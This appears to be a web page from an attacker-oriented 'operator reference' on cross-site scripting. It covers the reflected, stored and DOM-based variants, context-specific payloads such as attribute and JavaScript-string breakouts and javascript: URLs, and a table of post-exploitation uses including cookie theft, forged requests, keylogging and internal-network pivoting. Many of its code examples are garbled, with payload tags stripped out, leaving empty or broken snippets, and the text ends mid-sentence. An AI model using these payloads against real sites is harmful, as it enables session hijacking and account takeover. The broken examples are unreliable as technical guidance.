# Cross-Site Scripting > Operator reference for cross-site scripting - the three vulnerability classes (reflected, stored, DOM-based), context-aware payload crafting (HTML body vs attribute vs JavaScript vs URL vs CSS), filter bypass techniques, blind XSS in admin-only renderers, and the canonical exploitation paths from initial JavaScript execution to session theft, CSRF chaining, and full account takeover. ## TL;DR XSS is JavaScript execution in someone else's browser session - your code, their cookies, their session. The vulnerability exists when an application takes untrusted input and renders it as part of executed content (HTML, JavaScript, CSS) without proper context-aware encoding. The three variants differ by *where* the injection lives; the post-execution mechanics (session theft, CSRF chain, keylogger, defacement) are the same. ``` # 1. Reflected - input echoed straight back in the response http://target/search?q= →

Results for:

# 2. Stored - input persisted server-side, rendered later POST /comment {"text": ""} → Every page view of the comment thread executes the script # 3. DOM-based - purely client-side; server never sees the payload http://target/# → document.write(location.hash) renders the fragment as HTML # 4. The execution context determines the payload shape → " onmouseover=alert(1) x=" → "; alert(1); // → javascript:alert(1) → " onload=alert(1) x=" ``` Success indicator: a JavaScript expression of your choice executes in the victim's browser when they visit the crafted URL or view the poisoned content. The proof-of-concept is `alert(document.domain)` (proves same-origin execution); real impact follows from there. ## Why XSS is more than `alert(1)` The textbook proof is a popup. The real impact is whatever JavaScript can do, which on a logged-in victim's session is essentially everything: | Capability | Mechanism | | --- | --- | | Read session cookies | `document.cookie` (if not HttpOnly) | | Read CSRF tokens | DOM scrape - tokens render into HTML somewhere | | Forge requests as victim | `fetch()` with the victim's cookies auto-sent by browser | | Read victim's email / messages | If the same origin hosts a webmail / chat app | | Capture keystrokes | `addEventListener('keydown', ...)` | | Screenshot the page | `html2canvas` library, exfil image | | Pivot to internal network | `fetch('http://192.168.1.1/...')` if the victim is inside the network | | Trigger downloads / drive-by | Force download of attacker-controlled files | | Persistence | Service workers, IndexedDB-stored payloads | The XSS itself is the foothold; everything else is what you do from inside the browser. For the canonical session-theft exfiltration pattern, see [XSS to session](/codex/web/sessions/xss-to-session/) - `document.cookie` extraction, cookie-logger PHP receiver, modern callback infrastructure. ## The three variants | Variant | Where the payload lives | Victim model | Impact ceiling | | --- | --- | --- | --- | | **Reflected** | URL parameter, form field, header | Victim clicks an attacker URL | Per-click; needs social engineering | | **Stored** | Database (comment, profile, ticket) | Anyone who views the poisoned page | Mass exploitation; possibly admin-targeted | | **DOM-based** | Pure client-side; payload in URL fragment, `localStorage`, `postMessage` | Same as reflected | Stealthy - server logs never see the payload | Operators look for all three; the same application often has multiple variants in different fields. For deep treatment of each: - [Reflected XSS](/codex/web/xss/reflected/) - URL parameter echo, three rendering contexts - [Stored XSS](/codex/web/xss/stored/) - persistent injection, victim modeling, chained impact - [DOM-based XSS](/codex/web/xss/dom-based/) - source-to-sink analysis, postMessage attacks ## Context theory The most important XSS concept and the one that distinguishes operators who consistently exploit XSS from operators who paste `` and give up. When your input lands in a response, ask: *what kind of content is the parser already in?* The browser parses HTML in different modes depending on context. A payload that works in one context fails or does nothing in another. ### The five contexts ```html
HERE
→ Payload needs to open a new tag: → Payload needs to break out of the attribute first: " onmouseover=alert(1) x=" → Payload needs to break out of the JS string: "; alert(1); // click → Payload uses the javascript: pseudo-scheme: javascript:alert(1) → Payload uses CSS-injection or expression(): (modern browsers limit this heavily) ``` A reflected XSS that doesn't fire often isn't actually filtered - it's just in a context where the obvious payload doesn't work. Inspecting the page source to see the exact surrounding markup is the difference between "the WAF blocks me" and "I'm sending the wrong payload class." ### Demonstration of context-sensitivity Three identical-looking reflections, three different correct payloads: ```html Your search returned: HERE → ✓ works → " onerror=alert(1) x=" ✗ no attribute to break out of → ✗ inside attribute value; → ✗ the inner ` blindness Many tutorials use `` as the universal probe. It's a reasonable starting point but has three blind spots: 1. **It doesn't fire in inline contexts**. Inside `` or ``, the literal `